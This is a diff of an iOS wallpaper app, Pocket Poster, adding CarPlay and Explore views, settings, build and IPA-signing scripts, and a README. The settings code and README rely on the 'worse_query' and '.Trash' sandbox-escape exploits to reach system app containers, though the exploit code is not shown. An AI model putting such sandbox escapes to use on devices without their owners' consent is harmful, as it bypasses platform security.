}) {
Image(systemName: showDark ? "moon" : "sun.max")
}
})
}
}
.onAppear {
if wallpapers.isEmpty {
// load active wallpapers from user defaults
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
// load the wallpapers
let cppURL = CarPlayManager.getCarPlayPhotosURL()
let frameworkPath = "/System/Library/PrivateFrameworks/CarPlayUIServices.framework"
do {
for file in try FileManager.default.contentsOfDirectory(at: URL(fileURLWithPath: frameworkPath), includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if file.path().hasSuffix("-Light.heic") {
let imgData = try Data(contentsOf: file)
if let wpImg = UIImage(data: imgData) {
var darkImg = wpImg
if let darkData = try? Data(contentsOf: URL(fileURLWithPath: file.path().replacingOccurrences(of: "-Light.heic", with: "-Dark.heic"))) {
darkImg = UIImage(data: darkData) ?? wpImg
}
let name = file.lastPathComponent.replacingOccurrences(of: "-Light.heic", with: "")
// fetch the selected image if they exist
let selectedLight: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Light"))
let selectedDark: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Dark"))
wallpapers.append(.init(
name: name,
lightImage: wpImg, darkImage: darkImg,
selectedImageDataLight: selectedLight, selectedImageDataDark: selectedDark
))
}
}
}
// sort them
if let sortedWallpapers = CarPlayManager.getCarPlayWallpaperNames() {
wallpapers = wallpapers.reorder(by: sortedWallpapers)
}
} catch {
UIApplication.shared.alert(body: NSLocalizedString("Failed to fetch CarPlay wallpapers", comment: "") + ":\n\(error.localizedDescription)")
}
}
}
}
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
Haptic.shared.notify(.error)
UIApplication.shared.alert(body: error.localizedDescription)
})
}
}
struct WallpaperView: View {
@Binding var wallpaper: CarPlayWallpaper
@Binding var didChange: Bool
@Binding var showDark: Bool
@State private var selectedItem: PhotosPickerItem? = nil
var body: some View {
PhotosPicker(
selection: $selectedItem,
matching: .images,
photoLibrary: .shared()) {
VStack {
if showDark {
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
WallpaperImageView(img: img)
} else {
WallpaperImageView(img: wallpaper.darkImage)
}
} else {
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
WallpaperImageView(img: img)
} else {
WallpaperImageView(img: wallpaper.lightImage)
}
}
}
}
.overlay {
RoundedRectangle(cornerRadius: 8)
.stroke(.gray, lineWidth: 2)
}
.onChange(of: selectedItem) { newItem in
if newItem == nil { return }
Task {
// Retrieve selected asset in the form of Data
if let data = try? await newItem?.loadTransferable(type: Data.self) {
if showDark {
wallpaper.selectedImageDataDark = data
} else {
wallpaper.selectedImageDataLight = data
}
selectedItem = nil
withAnimation {
didChange = true
}
}
}
}
}
}
struct WallpaperImageView: View {
var img: UIImage
var body: some View {
Image(uiImage: img)
.resizable()
.aspectRatio(1.35, contentMode: .fill)
.cornerRadius(8)
.clipped()
}
}
@@ -0,0 +1,226 @@
//
// ExploreView.swift
// Pocket Poster
//
// Created by lemin on 7/6/25.
//
import SwiftUI
import CachedAsyncImage
let MIN_SIZE: CGFloat = 165
let CORNER_RADIUS: CGFloat = 12
struct ExploreView: View {
@ObservedObject var cowabungaAPI = CowabungaAPI.shared
// lazyvgrid
@State private var gridItemLayout = [GridItem(.adaptive(minimum: MIN_SIZE))]
@State private var wallpapers: [DownloadableWallpaper] = []
@State var wallpaperTypeSelected = 0
@State var wallpaperTypeShown = DownloadableWallpaper.WallpaperType.custom
@State var filterType: FilterType = .random
@State var searchTerm: String = ""
var body: some View {
NavigationView {
ScrollView {
PullToRefresh(coordinateSpaceName: "pullToRefresh") {
// refresh
wallpapers.removeAll()
Haptic.shared.play(.light)
//URLCache.imageCache.removeAllCachedResponses()
loadWallpapers()
}
VStack {
Picker("", selection: $wallpaperTypeSelected) {
Text("Custom").tag(0)
Text("Apple").tag(1)
}
.pickerStyle(.segmented)
}
.padding(.horizontal, 24)
.padding(.bottom, 10)
if wallpapers.isEmpty {
ProgressView()
.scaleEffect(1.75)
.navigationTitle("Explore")
} else {
LazyVGrid(columns: gridItemLayout) {
ForEach(wallpapers) { wallpaper in
if searchTerm == "" || wallpaper.name.lowercased().contains(searchTerm.lowercased()) || (wallpaper.authors ?? "").lowercased().contains(searchTerm.lowercased()) {
Button(action: {
DownloadManager.shared.startTendiesDownload(for: cowabungaAPI.getDownloadURLForWallpaper(wallpaper: wallpaper))
}) {
VStack(spacing: 0) {
ZStack {
Color.gray.opacity(0.4)
if wallpaper.previewIsGif() {
GIFImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), animate: true, loop: true)
.aspectRatio(contentMode: .fit)
.frame(maxWidth: .infinity)
} else {
CachedAsyncImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), urlCache: .imageCache) { image in
image
.resizable()
.aspectRatio(contentMode: .fit)
.frame(maxWidth: .infinity)
} placeholder: {
Color.gray
.frame(height: MIN_SIZE)
}
}
}
.cornerRadius(CORNER_RADIUS, corners: .topLeft)
.cornerRadius(CORNER_RADIUS, corners: .topRight)
HStack {
VStack(spacing: 4) {
HStack {
Text(wallpaper.name)
.foregroundStyle(Color(uiColor: .label))
.minimumScaleFactor(0.5)
Spacer()
}
if let authors = wallpaper.authors {
HStack {
Text(authors)
.foregroundColor(.secondary)
.font(.caption)
.minimumScaleFactor(0.5)
Spacer()
}
}
}
.lineLimit(1)
Spacer()
Image(systemName: "arrow.down.circle")
.foregroundColor(.blue)
}
.padding(.horizontal, 12)
.padding(.vertical, 8)
.frame(height: 58)
}
}
.frame(minWidth: MIN_SIZE)
.background(Color(uiColor: .secondarySystemBackground))
.cornerRadius(CORNER_RADIUS)
.padding(4)
}
}
}
.padding()
}
}
.searchable(text: $searchTerm)
.coordinateSpace(name: "pullToRefresh")
.navigationTitle("Explore")
.toolbar {
ToolbarItem(placement: .navigationBarTrailing) {
Button(action: {
showFilterChangerPopup()
}) {
Image(systemName: "line.3.horizontal.decrease.circle")
}
}
}
}
.onAppear {
loadWallpapers()
}
.onChange(of: wallpaperTypeSelected) { newValue in
let map = [0: DownloadableWallpaper.WallpaperType.custom, 1: .apple, 2: .template]
wallpaperTypeShown = map[newValue]!
wallpapers.removeAll()
loadWallpapers()
}
}
func loadWallpapers() {
Task {
do {
wallpapers = try await cowabungaAPI.fetchWallpapers(type: wallpaperTypeShown)
wallpapers = cowabungaAPI.filterWallpapers(wallpapers: wallpapers, filterType: filterType)
} catch {
UIApplication.shared.alert(title: NSLocalizedString("Failed to fetch wallpapers", comment: ""), body: error.localizedDescription)
}
}
}
func showFilterChangerPopup() {
// create and configure alert controller
let alert = UIAlertController(title: NSLocalizedString("Filter Wallpapers", comment: ""), message: "", preferredStyle: .actionSheet)
// create the actions
for type in FilterType.allCases {
let newAction = UIAlertAction(title: type.rawValue, style: .default) { (action) in
// apply the filter type
filterType = type
wallpapers.removeAll()
loadWallpapers()
}
if filterType == type {
// add a check mark
newAction.setValue(true, forKey: "checked")
}
alert.addAction(newAction)
}
let cancelAction = UIAlertAction(title: NSLocalizedString("Cancel", comment: ""), style: .cancel) { (action) in
// cancels the action
}
// add the actions
alert.addAction(cancelAction)
let view: UIView = UIApplication.shared.windows.first!.rootViewController!.view
// present popover for iPads
alert.popoverPresentationController?.sourceView = view // prevents crashing on iPads
alert.popoverPresentationController?.sourceRect = CGRect(x: view.bounds.midX, y: view.bounds.maxY, width: 0, height: 0) // show up at center bottom on iPads
// present the alert
UIApplication.shared.windows.first?.rootViewController?.present(alert, animated: true)
}
}
struct PullToRefresh: View {
var coordinateSpaceName: String
var onRefresh: ()->Void
@State var needRefresh: Bool = false
var body: some View {
GeometryReader { geo in
if (geo.frame(in: .named(coordinateSpaceName)).midY > 50) {
Spacer()
.onAppear {
needRefresh = true
}
} else if (geo.frame(in: .named(coordinateSpaceName)).maxY < 10) {
Spacer()
.onAppear {
if needRefresh {
needRefresh = false
onRefresh()
}
}
}
HStack {
Spacer()
if needRefresh {
ProgressView()
.scaleEffect(1.75)
.onAppear {
Haptic.shared.play(.light)
}
} else {
Text("")
}
Spacer()
}
}.padding(.top, -50)
}
}
@@ -5,7 +5,7 @@
// Created by lemin on 5/31/25.
//
import SwiftUICore
import SwiftUI
struct OnBoardingPage: Identifiable {
var id = UUID()
+10
View File
@@ -18,6 +18,16 @@ struct RootView: View {
.tabItem {
Label("Videos", systemImage: "camera")
}
if CarPlayManager.supportsCarPlay() {
CarPlayView()
.tabItem {
Label("CarPlay", systemImage: "car")
}
}
ExploreView()
.tabItem {
Label("Explore", systemImage: "safari")
}
}
}
}
+120 -37
View File
@@ -15,44 +15,60 @@ struct SettingsView: View {
@State var checkingForHash: Bool = false
@State var hashCheckTask: Task<Void, any Error>? = nil
@State var detectingOnDevice: Bool = false
var body: some View {
List {
Section {
VStack {
TextField("Enter App Hash", text: $pbHash)
VStack(alignment: .leading, spacing: 10) {
TextField("Enter PosterBoard App Hash", text: $pbHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
.onChange(of: pbHash) { _ in
var separator: String? = nil
if pbHash.contains(" ") {
separator = " "
} else if pbHash.contains("\n") {
separator = "\n"
}
if let separator = separator {
let items = pbHash.split(separator: separator)
if let pb = items.first {
pbHash = String(pb)
}
if items.count >= 2 {
cpHash = String(items[1])
}
}
}
if CarPlayManager.supportsCarPlay() {
TextField("Enter CarPlayWallpaper App Hash", text: $cpHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
}
if SymHandler.prefersSandboxEscape {
Text(SandboxEscape.isUsingWorseQuery
? "worse_query available — on-device detect works (no PC). App Group: \(SandboxEscape.appGroupIdentifier ?? "unknown")"
: "bad_query fallback available (iOS 26) — on-device detect works (no PC).")
.font(.caption)
.foregroundStyle(.secondary)
}
HStack {
Spacer()
// On-device detect via worse_query (iOS 26/27)
if SymHandler.prefersSandboxEscape {
Button(action: {
detectOnDevice()
}) {
if detectingOnDevice {
ProgressView()
} else {
Text("Detect On-Device")
}
}
.foregroundStyle(.blue)
.disabled(detectingOnDevice)
}
// Run task to check until file exists from Nugget pc over AFC
Button(action: {
UIApplication.shared.confirmAlert(title: "Waiting for app hash...", body: "Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", confirmTitle: "Cancel", onOK: {
cancelWaitForHash()
}, noCancel: true)
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
// don't show the alert because it is already there
UIApplication.shared.confirmAlert(title: NSLocalizedString("Waiting for app hash...", comment: ""), body: NSLocalizedString("Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", comment: ""), confirmTitle: NSLocalizedString("Cancel", comment: ""), onOK: {
cancelWaitForHash()
}, noCancel: true)
}
startWaitForHash()
}) {
Text("Detect")
Text(SymHandler.prefersSandboxEscape ? "Wait for Nugget" : "Detect")
}
.foregroundStyle(.green)
.onChange(of: checkingForHash) {
.onChange(of: checkingForHash) { _ in
if !checkingForHash {
// hide ui alert
UIApplication.shared.dismissAlert(animated: true)
@@ -94,6 +110,17 @@ struct SettingsView: View {
Label("Clear App Cache", systemImage: "trash.circle")
}
.foregroundStyle(.red)
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UserDefaults.standard.set(nil, forKey: "ActiveCarPlayWallpapers")
try? FileManager.default.removeItem(at: CarPlayManager.getCarPlayPhotosURL())
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: NSLocalizedString("CarPlay Applied Wallpapers Successfully Cleared!", comment: ""), body: "")
}) {
Label("Reset CarPlay Applied Wallpapers", systemImage: "trash.circle")
}
.foregroundStyle(.red)
} header: {
Label("Actions", systemImage: "gear")
}
@@ -136,10 +163,12 @@ struct SettingsView: View {
// MARK: Credits
Section {
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "worse_query port · iOS 27.2 build", circle: true)
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/worse_query", title: "forcequitOS", contribution: "worse_query (iOS 26/27)", circle: false)
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
} header: {
@@ -148,10 +177,63 @@ struct SettingsView: View {
}
}
/// Scan containers on-device with worse_query / fsgetpath — no computer needed.
func detectOnDevice() {
detectingOnDevice = true
UIApplication.shared.alert(
title: "Scanning containers…",
body: "Looking for PosterBoard via worse_query. This may take a moment.",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
var pb: String?
var cp: String?
var errMsg: String?
do {
pb = try SandboxEscape.findPosterBoardHash()
} catch {
errMsg = error.localizedDescription
}
if CarPlayManager.supportsCarPlay() {
cp = try? SandboxEscape.findCarPlayHash()
}
// Always show a closeable result alert (loading alert has no OK button —
// dismiss must complete before the next alert is presented).
DispatchQueue.main.async {
detectingOnDevice = false
if let pb {
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
if let cp {
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
}
Haptic.shared.notify(.success)
let body = cp != nil
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
: "PosterBoard:\n\(pbHash)"
// alert() auto-dismisses any previous (buttonless) sheet first
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
} else {
Haptic.shared.notify(.error)
UIApplication.shared.alert(
title: "Detect failed",
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
withButton: true
)
}
}
}
}
func startWaitForHash() {
checkingForHash = true
hashCheckTask = Task {
let filePath = SymHandler.getLCDocumentsDirectory().appendingPathComponent("NuggetAppHash")
let filePath = SymHandler.getPosterBoardHashURL()
while !FileManager.default.fileExists(atPath: filePath.path()) {
try? await Task.sleep(nanoseconds: 500_000_000) // Sleep 0.5s
try Task.checkCancellation()
@@ -161,16 +243,17 @@ struct SettingsView: View {
let contents = try String(contentsOf: filePath)
try? FileManager.default.removeItem(at: filePath)
await MainActor.run {
var separator = " "
if contents.contains("\n") {
separator = "\n"
}
let items = contents.split(separator: separator)
if let pb = items.first {
pbHash = String(pb)
}
if items.count >= 2 {
cpHash = String(items[1])
pbHash = contents
}
// check for carplay hash
if UIDevice.current.userInterfaceIdiom == .phone {
let carplayPath = SymHandler.getCarPlayHashURL()
if FileManager.default.fileExists(atPath: carplayPath.path()) {
let carplayContents = try String(contentsOf: carplayPath)
try? FileManager.default.removeItem(at: carplayPath)
await MainActor.run {
cpHash = carplayContents
}
}
}
} catch {
+4 -4
View File
@@ -11,7 +11,7 @@
<string>Owner</string>
<key>LSItemContentTypes</key>
<array>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
</array>
</dict>
</array>
@@ -21,7 +21,7 @@
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>com.leemin.pocketposter</string>
<string>com.mak5er.pocketposter</string>
<key>CFBundleURLSchemes</key>
<array>
<string>pocketposter</string>
@@ -43,7 +43,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
@@ -66,7 +66,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
+57 -8
View File
@@ -1,19 +1,68 @@
# Pocket Poster
Custom PosterBoard animated wallpapers for iOS 17.0+
<div align="center">
<img width="150" height="150" src="Pocket Poster/Assets.xcassets/AppIcon.appiconset/pocket_poster_transparent.png">
</div>
Community-made wallpapers can be found on the [official Cowabun.ga site](https://cowabun.ga/wallpapers). Join the [Cowabunga Discord Server](https://discord.gg/cowabunga) for additional help.
<div align="center">
<h1><b>Pocket Poster</b></h1>
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · worse_query for iOS 26–27.2</i></p>
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
</div>
## Download
Latest IPA: [**Releases**](https://github.com/Mak5er/Pocket-Poster/releases/latest)
CI builds an unsigned IPA on every push to `main` and publishes a GitHub Release when you push a tag like `v3.2.2` (or run **Release IPA** from Actions).
```bash
# cut a release from your machine
git tag v3.2.2 && git push origin v3.2.2
```
## Getting Started
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
Download [Nugget](https://github.com/leminlimez/Nugget) on your computer and plug in your phone. Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. Inside Pocket Poster, click the `Detect` button inside of settings.
### iOS 26 / 27.2 (worse_query)
On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups.
1. Install the IPA (sideload with your signer of choice; the profile needs an App Group).
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback.
**Reset Collections** wipes PosterBoard descriptors via worse_query, then full resprings the same way.
### Older iOS (legacy .Trash exploit)
You will need a computer to get the App Hash/UUID.
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
<br>Inside Pocket Poster, click the `Detect` button inside of settings.
Community-made wallpapers can be found on the [official Cowabun.ga site][CowabungaWallpapersPage].
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
## Credits
- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort!
- **[Mak5er][Mak5erGitHub]** — worse_query integration, iOS 27.2 port, full respring, on-device detect
- [LeminLimez][LeminGitHub] — original Pocket Poster
- Translations crowdsourced using [POEditor][POEditorJoin]
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
- [dootskyre][dootskyreX] for the fallback shortcut
- [Nathan](https://github.com/verygenericname) and [DuyKhanhTran](https://github.com/khanhduytran0) for the exploit
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
- [forcequitOS][worseQueryGitHub] for worse_query (iOS 26/27 sandbox escape)
- [SerStars][SerStarsX] for creating the website
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
[NuggetGitHub]: https://github.com/leminlimez/Nugget
[LeminGitHub]: https://github.com/leminlimez
[Mak5erGitHub]: https://github.com/Mak5er
[CowabungaDiscord]: https://discord.gg/cowabunga
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
[dootskyreX]: https://x.com/dootskyre
[NathanGitHub]: https://github.com/verygenericname
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
[SerStarsX]: https://x.com/SerStars
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
[worseQueryGitHub]: https://github.com/forcequitOS/worse_query
+14 -3
View File
@@ -1,5 +1,11 @@
#!/bin/bash
CONFIG="Release"
if [ "$1" == "-d" ]; then
CONFIG="Debug"
fi
set -e
cd "$(dirname "$0")"
@@ -15,13 +21,13 @@ cd build
xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \
-scheme "$APPLICATION_NAME" \
-configuration Release \
-configuration "$CONFIG" \
-derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \
-destination 'generic/platform=iOS' \
clean build \
CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO"
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app"
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/$CONFIG-iphoneos/$APPLICATION_NAME.app"
TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app"
cp -r "$DD_APP_PATH" "$TARGET_APP"
@@ -36,7 +42,12 @@ fi
mkdir Payload
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
zip -vr "${APPLICATION_NAME}.ipa" Payload
# quiet zip for CI logs; name with underscore for download URLs
zip -qr "Pocket_Poster.ipa" Payload
# keep legacy name too
cp "Pocket_Poster.ipa" "${APPLICATION_NAME}.ipa"
rm -rf "${APPLICATION_NAME}.app"
rm -rf Payload
echo "Built: $WORKING_LOCATION/build/Pocket_Poster.ipa"
echo "Built: $WORKING_LOCATION/build/${APPLICATION_NAME}.ipa"
+122
View File
@@ -0,0 +1,122 @@
#!/bin/bash
#
# Sign an unsigned Pocket Poster IPA with an Apple Distribution certificate
# and an ad-hoc provisioning profile that contains App Groups.
#
# Usage:
# ./sign_personal.sh <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]
#
set -euo pipefail
if [ $# -lt 4 ]; then
echo "usage: $0 <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]" >&2
exit 64
fi
IPA="$1"
P12="$2"
P12_PASS="$3"
PROFILE="$4"
OUT="${5:-$(pwd)/Pocket_Poster-personal.ipa}"
for f in "$IPA" "$P12" "$PROFILE"; do
[ -f "$f" ] || { echo "missing file: $f" >&2; exit 66; }
done
WORK="$(mktemp -d "${TMPDIR:-/tmp}/pocket-sign.XXXXXX")"
KC_NAME="pocket-sign-$$-$(date +%s)"
KC_PATH="$HOME/Library/Keychains/$KC_NAME-db"
KC_PASS="$(uuidgen)"
ORIG_DEFAULT="$(security default-keychain -d user | sed -e 's/^ *"//' -e 's/"$//')"
ORIG_KC_LIST=()
while IFS= read -r line; do
line="$(echo "$line" | sed -e 's/^ *"//' -e 's/"$//')"
[ -n "$line" ] && ORIG_KC_LIST+=("$line")
done < <(security list-keychains -d user)
cleanup() {
set +e
if [ -n "${ORIG_DEFAULT:-}" ]; then
security default-keychain -d user -s "$ORIG_DEFAULT" >/dev/null 2>&1
fi
if [ ${#ORIG_KC_LIST[@]} -gt 0 ]; then
security list-keychains -d user -s "${ORIG_KC_LIST[@]}" >/dev/null 2>&1
fi
security delete-keychain "$KC_NAME" >/dev/null 2>&1
rm -rf "$WORK"
}
trap cleanup EXIT
echo "[*] Creating temporary keychain"
security create-keychain -p "$KC_PASS" "$KC_NAME"
security set-keychain-settings -lut 21600 "$KC_NAME"
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
echo "[*] Importing signing identity"
# Security.framework's PKCS#12 importer rejects this (legacy-encoded) p12,
# so convert it to an unencrypted PEM bundle and import that instead.
openssl pkcs12 -in "$P12" -passin "pass:$P12_PASS" -nodes -out "$WORK/identity.pem" >/dev/null 2>&1
security import "$WORK/identity.pem" -k "$KC_NAME" -T /usr/bin/codesign >/dev/null
# Bring the WWDR intermediate into the temporary keychain so codesign can
# embed the full chain.
{
security find-certificate -a -c "Apple Worldwide Developer Relations" -p "$HOME/Library/Keychains/login.keychain-db" 2>/dev/null
security find-certificate -a -c "Apple Worldwide Developer Relations" -p /Library/Keychains/System.keychain 2>/dev/null
} > "$WORK/wwdr.pem"
if [ -s "$WORK/wwdr.pem" ]; then
security import "$WORK/wwdr.pem" -k "$KC_NAME" >/dev/null 2>&1 || true
fi
security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KC_PASS" "$KC_NAME" >/dev/null
security default-keychain -d user -s "$KC_PATH"
security list-keychains -d user -s "$KC_PATH" "${ORIG_KC_LIST[@]}"
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
IDENTITY="$(security find-identity -v -p codesigning | awk '/Apple Distribution|Apple Development/ {print $2; exit}')"
if [ -z "${IDENTITY:-}" ]; then
echo "no code signing identity found in $P12" >&2
security find-identity -v -p codesigning >&2
exit 65
fi
echo "[*] Identity: $IDENTITY"
echo "[*] Extracting provisioning profile"
security cms -D -i "$PROFILE" > "$WORK/profile.plist"
plutil -extract Entitlements xml1 -o "$WORK/entitlements.plist" "$WORK/profile.plist"
APP_ID="$(/usr/libexec/PlistBuddy -c 'Print :application-identifier' "$WORK/entitlements.plist")"
BUNDLE_ID="${APP_ID#*.}"
if [ -n "${BUNDLE_ID_OVERRIDE:-}" ]; then
BUNDLE_ID="$BUNDLE_ID_OVERRIDE"
fi
echo "[*] Bundle ID: $BUNDLE_ID"
echo "[*] Unpacking IPA"
ditto -x -k "$IPA" "$WORK/unpacked"
APP="$(find "$WORK/unpacked/Payload" -maxdepth 1 -name '*.app' -type d | head -1)"
[ -n "${APP:-}" ] && [ -d "$APP" ] || { echo "no .app inside IPA" >&2; exit 66; }
echo "[*] App: $(basename "$APP")"
/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$APP/Info.plist"
cp "$PROFILE" "$APP/embedded.mobileprovision"
echo "[*] Signing"
codesign --force --sign "$IDENTITY" \
--entitlements "$WORK/entitlements.plist" \
--timestamp=none \
"$APP"
echo "[*] Verifying"
codesign --verify --deep --strict --verbose=2 "$APP"
codesign -d --entitlements :- "$APP" 2>/dev/null | plutil -p - | grep -A6 "com.apple.security.application-groups" || true
echo "[*] Packaging"
rm -f "$OUT"
mkdir -p "$WORK/out/Payload"
ditto "$APP" "$WORK/out/Payload/$(basename "$APP")"
( cd "$WORK/out" && zip -qry "$OUT" Payload )
echo "[*] Wrote $OUT"
ls -lh "$OUT"